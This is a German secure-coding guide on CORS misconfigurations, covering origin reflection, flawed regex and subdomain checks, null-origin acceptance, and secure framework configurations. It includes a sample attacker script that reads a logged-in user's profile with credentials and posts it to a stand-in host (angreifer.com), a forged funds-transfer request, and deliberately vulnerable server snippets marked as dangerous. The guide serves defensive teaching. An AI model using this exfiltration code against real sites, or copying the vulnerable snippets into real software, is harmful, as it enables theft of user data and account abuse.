CORS-Verwirrung: Wie eine falsch konfigurierte Header Ihre Sicherheit untergraben kann

Cross-Origin Resource Sharing (CORS) ist eine jener Technologien, die Entwickler oft in Eile implementieren, indem sie Konfigurationen von Stack Overflow kopieren, nur um den nervigen Browser-Fehler zu beseitigen. Aber was wäre, wenn ich Ihnen sage, dass Ihre schnelle Lösung—dieser unschuldig wirkende Access-Control-Allow-Origin: * Header—still und heimlich Ihre gesamte Sicherheitsarchitektur zerstören könnte?

In diesem umfassenden Leitfaden tauchen wir tief in CORS-Fehlkonfigurationen ein, erkunden, wie sie die Same-Origin Policy des Browsers vollständig umgehen können, und lernen, wie man CORS korrekt implementiert, ohne Ihre API für bösartige Akteure zu öffnen.

Das Fundament verstehen: Was ist CORS und warum gibt es das?

Bevor wir die Sicherheitsfallen untersuchen, legen wir ein solides Fundament. CORS ist ein Browser-Sicherheitsmechanismus, der Servern explizit erlaubt, welche Ursprünge (Domains) Zugriff auf ihre Ressourcen haben dürfen. Es baut auf der Same-Origin Policy (SOP) auf, einer der grundlegenden Sicherheitsfunktionen des Webs.

Die Same-Origin Policy verhindert, dass Skripte, die auf einer Origin laufen, auf Daten einer anderen Origin zugreifen. Eine Origin wird durch die Kombination aus Protokoll (http/https), Domain (beispielsweise example.com) und Port (80, 443 usw.) definiert. Ohne SOP könnte eine bösartige Website authentifizierte Anfragen an Ihre Bank-API stellen, indem sie Ihre bestehenden Session-Cookies nutzt, um Ihre Finanzdaten zu stehlen.

CORS bietet eine kontrollierte Möglichkeit, diese Beschränkungen zu lockern, wenn legitime Cross-Origin-Kommunikation notwendig ist. Wenn ein Browser eine Cross-Origin-Anfrage stellt, enthält dieser eine Origin-Header. Der Server antwortet dann mit CORS-Headern, die dem Browser mitteilen, ob die Anfrage erlaubt ist.

Die Anatomie einer CORS-Anfrage

Es gibt zwei Arten von CORS-Anfragen: einfache Anfragen und Preflight-Anfragen.

Einfache Anfragen werden direkt gestellt und umfassen: - GET, HEAD oder POST Methoden - Nur bestimmte Header (Accept, Accept-Language, Content-Language, Content-Type mit bestimmten Werten) - Content-Type von application/x-www-form-urlencoded, multipart/form-data oder text/plain

Preflight-Anfragen sind komplexer. Der Browser sendet zuerst eine OPTIONS-Anfrage, um zu prüfen, ob die tatsächliche Anfrage sicher ist. Dies passiert, wenn: - Methoden wie PUT, DELETE oder PATCH verwendet werden - benutzerdefinierte Header enthalten sind - Content-Type verwendet wird, der nicht zu den einfachen Anfragen gehört

Der Server antwortet auf die Preflight mit Headern, die angeben, was erlaubt ist: - Access-Control-Allow-Origin: Welche Ursprünge Zugriff haben - Access-Control-Allow-Methods: Welche HTTP-Methoden erlaubt sind - Access-Control-Allow-Headers: Welche benutzerdefinierten Header gesendet werden dürfen - Access-Control-Allow-Credentials: Ob Anmeldeinformationen (Cookies, Autorisierungs-Header) eingeschlossen werden dürfen

Die gefährliche Kombination: Wildcard-Ursprünge mit Credentials

Hier wird es tückisch. Viele Entwickler, die auf CORS-Fehler stoßen, setzen eine scheinbar einfache Lösung um:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Hier ist die entscheidende Tatsache: Diese Kombination ist gemäß der CORS-Spezifikation eigentlich verboten. Browser lehnen Antworten ab, die sowohl einen Wildcard-Ursprung als auch Access-Control-Allow-Credentials: true enthalten. Dies ist eine bewusste Sicherheitsmaßnahme.

Doch die eigentliche Gefahr liegt in gut gemeinten, aber fehlerhaften Implementierungen, die versuchen, diese Einschränkung zu umgehen. Viele Entwickler setzen dynamisches Reflection des Ursprungs ein—bei dem der Server den Ursprungswert reflektiert, von dem die Anfrage kam:

# GEFÄHRLICHER CODE - NICHT VERWENDEN
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'

Diese Konfiguration ist funktional äquivalent dazu, alle Ursprünge mit Credentials zu erlauben, und zerstört effektiv den Schutz durch die Same-Origin Policy.

Szenarien realer Angriffe

Schauen wir uns an, wie ein Angreifer diese Fehlkonfigurationen ausnutzen kann.

Szenario 1: Authentifizierte Datenexfiltration

Stellen Sie sich vor, Sie haben eine API bei api.ihrefirma.de mit einer nachlässigen CORS-Policy, die jeden Ursprung reflektiert und Credentials erlaubt. Ihre API hat einen Endpunkt /api/user/profile, der sensible Benutzerdaten zurückgibt.

Ein Angreifer erstellt eine bösartige Website bei böseseite.com mit folgendem JavaScript:

fetch('https://api.ihrefirma.de/api/user/profile', {
  method: 'GET',
  credentials: 'include'  // Cookies einschließen
})
.then(response => response.json())
.then(data => {
  // Gestohlene Daten an den Server des Angreifers senden
  fetch('https://angreifer.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});

Wenn ein legitimer Nutzer böseseite.com besucht, während er bei Ihrer Anwendung eingeloggt ist, passiert Folgendes:

1. Der Browser des Opfers stellt eine Anfrage an Ihre API
2. Der Browser schickt automatisch Authentifizierungs-Cookies mit
3. Ihr Server sieht den Origin: https://böseseite.com Header
4. Ihre falsch konfigurierte CORS-Policy spiegelt diesen Ursprung zurück
5. Ihr Server setzt Access-Control-Allow-Credentials: true
6. Der Browser erlaubt dem bösartigen Script, die Antwort zu lesen
7. Der Angreifer exfiltriert erfolgreich Benutzerdaten

Das Opfer merkt nie, dass seine Daten gestohlen wurden. Der Angriff ist still, unsichtbar und verheerend.

Szenario 2: Operationen mit Statusänderung

Fehlkonfigurationen bei CORS betreffen nicht nur das Lesen von Daten—sie können Angreifern auch ermöglichen, Aktionen im Namen der Nutzer durchzuführen. Betrachten Sie einen API-Endpunkt /api/transfer-funds:

fetch('https://bank-api.ihrefirma.de/api/transfer-funds', {
  method: 'POST',
  credentials: 'include',
  headers: {
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({
    empfänger: 'angreifer-konto',
    betrag: 10000
  })
})

Mit einer nachlässigen CORS-Policy kann ein Angreifer authentifizierte Aktionen mit den Anmeldedaten des Nutzers ausführen. Anders als bei klassischen CSRF-Angriffen (die mit CSRF-Tokens abgewehrt werden können), erlauben CORS-Fehlkonfigurationen dem Angreifer, die Antworten zu lesen, was sie viel gefährlicher macht.

Häufige Fehlkonfigurationsmuster

Neben dem offensichtlichen Wildcard-Problem können auch mehrere subtile Fehlkonfigurationen Sicherheitslücken schaffen.

Muster 1: Regex-Umgehung

Einige Entwickler versuchen, Domains mit regulären Ausdrücken zu whitelisten, implementieren sie aber falsch:

# ANFÄLLIGE CODE
import re
allowed_pattern = r'^https://.*\.ihrefirma\.de$'
origin = request.headers.get('Origin')
if re.match(allowed_pattern, origin):
    response.headers['Access-Control-Allow-Origin'] = origin

Ein Angreifer kann eine Domain wie ihrefirma.de.evil.com registrieren und diese Überprüfung umgehen, weil das Regex-Muster den Domain-Teil nicht richtig verankert.

Muster 2: Null-Origin-Akzeptanz

Einige Implementierungen erlauben den null-Origin, was harmlos erscheint, aber ausgenutzt werden kann:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Angreifer können Anfragen mit einem null-Origin generieren, z.B. durch sandboxed iframe oder Redirect-Ketten, was es ihnen ermöglicht, Origin-Checks zu umgehen.

Muster 3: Vertrauen in Subdomains blind

Automatisches Vertrauen in alle Subdomains kann gefährlich sein:

# RISIKOREICHER CODE
origin = request.headers.get('Origin')
if origin.endswith('.ihrefirma.de'):
    response.headers['Access-Control-Allow-Origin'] = origin

Wenn ein Angreifer eine XSS-Schwachstelle in einer Subdomain findet (inklusive vergessener Staging-Umgebungen oder benutzergenerierter Content-Subdomains), kann er diese ausnutzen, um Ihre Haupt-API anzugreifen.

Die Auswirkungen: Mehr als nur Datenklau

CORS-Fehlkonfigurationen wurden in realen Angriffen mit ernsthaften Folgen ausgenutzt. Jüngste Sicherheitswarnungen haben Schwachstellen in verschiedenen Anwendungen und Frameworks hervorgehoben, bei denen schwache CORS-Konfigurationen unbefugten Zugriff ermöglichten.

Die Auswirkungen umfassen:

• Datenverletzungen: Sensible Benutzerdaten, persönliche Informationen und Geschäftsgeheimnisse können exfiltriert werden
• Kontenübernahmen: Angreifer können Authentifizierungstoken oder Sitzungsinformationen auslesen
• Unbefugte Transaktionen: Finanzanwendungen sind besonders gefährdet
• Verstöße gegen Compliance: DSGVO, HIPAA und andere Vorschriften fordern angemessenen Datenschutz
• Reputationsschäden: Sicherheitsverletzungen untergraben das Vertrauen der Kunden

Aktuelle CVE-Berichte, inklusive Schwachstellen in Frameworks wie Flask-CORS, zeigen, dass selbst populäre Bibliotheken CORS-bezogene Sicherheitslücken aufweisen können, die gepatcht werden müssen.

Absicherung Ihrer CORS-Konfiguration: Best Practices

Nachdem wir die Risiken verstanden haben, schauen wir uns an, wie man CORS sicher implementiert.

1. Behalten Sie eine explizite Whitelist bei

Verwenden Sie niemals Wildcards oder reflektieren Sie Ursprünge dynamisch. Pflegen Sie stattdessen eine strenge Whitelist:

ALLOWED_ORIGINS = [
    'https://www.ihrefirma.de',
    'https://app.ihrefirma.de',
    'https://mobil.ihrefirma.de'
]

origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
    response.headers['Access-Control-Allow-Origin'] = origin
    response.headers['Access-Control-Allow-Credentials'] = 'true'
else:
    # Für nicht autorisierte Ursprünge keine CORS-Header setzen
    pass

2. Verwenden Sie exakte String-Matches

Vermeiden Sie reguläre Ausdrücke, es sei denn, es ist unbedingt notwendig. Wenn Sie sie verwenden müssen, seien Sie äußerst vorsichtig:

import re

# Gut: Exakte Domain-Übereinstimmung
allowed_pattern = r'^https://([a-z0-9-]+\.)?ihrefirma\.de$'

# Stellen Sie sicher, dass das Muster richtig verankert und getestet ist
origin = request.headers.get('Origin')
if re.fullmatch(allowed_pattern, origin):  # Vollständiges Match verwenden, nicht nur match
    response.headers['Access-Control-Allow-Origin'] = origin

3. Trennen Sie öffentliche und private APIs

Wenn Sie sowohl öffentliche Ressourcen (ohne Authentifizierung) als auch private Ressourcen haben, verwenden Sie separate Endpunkte oder Subdomains:

• Öffentliche API: public-api.ihrefirma.de — kann Access-Control-Allow-Origin: * ohne Credentials verwenden
• Private API: api.ihrefirma.de — nutzt strenge Whitelist mit Credentials

4. Implementieren Sie ordnungsgemäße Authentifizierung

Verlassen Sie sich nicht nur auf CORS für die Sicherheit. Implementieren Sie robuste Authentifizierungs- und Autorisierungsmaßnahmen:

• Verwenden Sie kurzlebige Tokens statt langlebiger Session-Cookies
• Implementieren Sie ordnungsgemäßen CSRF-Schutz für zustandsändernde Operationen
• Validieren und autorisieren Sie jede Anfrage auf Serverseite
• Erwägen Sie die Verwendung von JWT-Tokens mit passenden Claims

5. Führen Sie regelmäßige Audits Ihrer CORS-Konfiguration durch

Sicherheit ist kein einmaliges Setup. Regelmäßige Audits sollten umfassen:

• Überprüfung aller erlaubten Ursprünge
• Überprüfung auf veraltete oder ungenutzte Domains
• Testen der CORS-Konfiguration mit Sicherheitsscanning-Tools
• Überwachung verdächtiger Cross-Origin-Anfragen
• Aktualisierung von Frameworks und Bibliotheken

6. Verwenden Sie Sicherheits-Header in Kombination

CORS funktioniert am besten als Teil eines mehrschichtigen Sicherheitsansatzes:

Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains

Testen Ihrer CORS-Konfiguration

Vor der Produktion sollten Sie Ihre CORS-Implementierung gründlich testen:

Manuelles Testen

Verwenden Sie Browser-Entwicklertools oder curl:

curl -H "Origin: https://böseseite.com" \
     -H "Access-Control-Request-Method: GET" \
     -H "Access-Control-Request-Headers: Content-Type" \
     -X OPTIONS \
     https://api.ihrefirma.de/api/user/profile

Überprüfen Sie die Antwort-Header. Eine sichere Konfiguration sollte Access-Control-Allow-Origin für nicht autorisierte Ursprünge nicht setzen.

Automatisierte Tests

Sicherheitstools können helfen, CORS-Fehlkonfigurationen zu identifizieren. Mehrere Bug-Bounty-Forscher haben berichtet, dass sie noch 2025 CORS-Schwachstellen gefunden haben, was zeigt, dass diese Probleme weiterhin verbreitet sind und frühzeitig erkannt werden sollten.

Bug-Bounty-Programme in Betracht ziehen

CORS-Fehlkonfigurationen werden häufig durch Bug-Bounty-Programme entdeckt. Erwägen Sie die Einrichtung eines verantwortungsvollen Offenlegungsprogramms, um Probleme zu identifizieren, bevor bösartige Akteure sie ausnutzen.

Framework-spezifische Überlegungen

Verschiedene Frameworks handhaben CORS unterschiedlich. Hier sind sichere Konfigurationen für beliebte Frameworks:

Express.js (Node.js):

const cors = require('cors');

const corsOptions = {
  origin: ['https://www.ihrefirma.de', 'https://app.ihrefirma.de'],
  credentials: true,
  optionsSuccessStatus: 200
};

app.use(cors(corsOptions));

Django (Python):

CORS_ALLOWED_ORIGINS = [
    "https://www.ihrefirma.de",
    "https://app.ihrefirma.de",
]
CORS_ALLOW_CREDENTIALS = True

Spring Boot (Java):

@Configuration
public class CorsConfig {
    @Bean
    public WebMvcConfigurer corsConfigurer() {
        return new WebMvcConfigurer() {
            @Override
            public void addCorsMappings(CorsRegistry registry) {
                registry.addMapping("/api/**")
                    .allowedOrigins("https://www.ihrefirma.de")
                    .allowCredentials(true);
            }
        };
    }
}

Der Weg nach vorne: Sicherheit durch Design

CORS-Fehlkonfigurationen stellen eine perfekte Mischung aus Bequemlichkeit, Komplexität und Konsequenzen dar. Der Druck, “einfach funktionieren” zu wollen, führt oft dazu, dass Entwickler zu nachlässigen, zu großzügigen Policies greifen, ohne die Sicherheitsimplikationen vollständig zu verstehen.

Die wichtigsten Erkenntnisse:

1. Reflektieren Sie Ursprünge niemals dynamisch ohne strenge Validierung gegen eine explizite Whitelist
2. Verstehen Sie, dass CORS kein Sicherheitsfeature ist—es ist eine Lockerung der Standard-Sicherheitsrichtlinie des Browsers
3. Implementieren Sie Verteidigung in der Tiefe: CORS ist nur eine Schicht; kombinieren Sie es mit ordnungsgemächer Authentifizierung, Autorisierung und Sicherheits-Headern
4. Führen Sie regelmäßige Audits und Tests durch Ihrer CORS-Konfiguration im Rahmen Ihres Sicherheitsprogramms
5. Bleiben Sie informiert über aufkommende Schwachstellen und Best Practices in der Sicherheitsgemeinschaft

CORS-Fehlkonfigurationen werden weiterhin in modernen Anwendungen entdeckt und ausgenutzt. Durch das Verständnis der zugrunde liegenden Mechanismen und die Befolgung sicherer Implementierungspraktiken können Sie Cross-Origin-Kommunikation nutzen, ohne die Sicherheit Ihrer Nutzer zu gefährden.

Denken Sie daran: In der Sicherheit ist Bequemlichkeit oft der Feind der Sicherheit. Die wenigen zusätzlichen Zeilen Code, um eine ordnungsgemäße Whitelist zu implementieren, mögen mühsam erscheinen, sind aber die Barriere zwischen den Daten Ihrer Nutzer und potenziellen Angreifern. Lassen Sie nicht zu, dass CORS-Verwirrung eine Sicherheitslücke reißt—konfigurieren Sie es sorgfältig, testen Sie es gründlich und pflegen Sie es wachsam.

---

Haben Sie CORS-Fehlkonfigurationen bei Ihren Sicherheitsprüfungen entdeckt? Die Sicherheitsgemeinschaft entdeckt diese Schwachstellen weiterhin durch Bug-Bounty-Programme und verantwortungsvolle Offenlegung. Bleiben Sie wachsam, sichern Sie Ihre Konfigurationen und stellen Sie die Sicherheit Ihrer Nutzer immer an erste Stelle.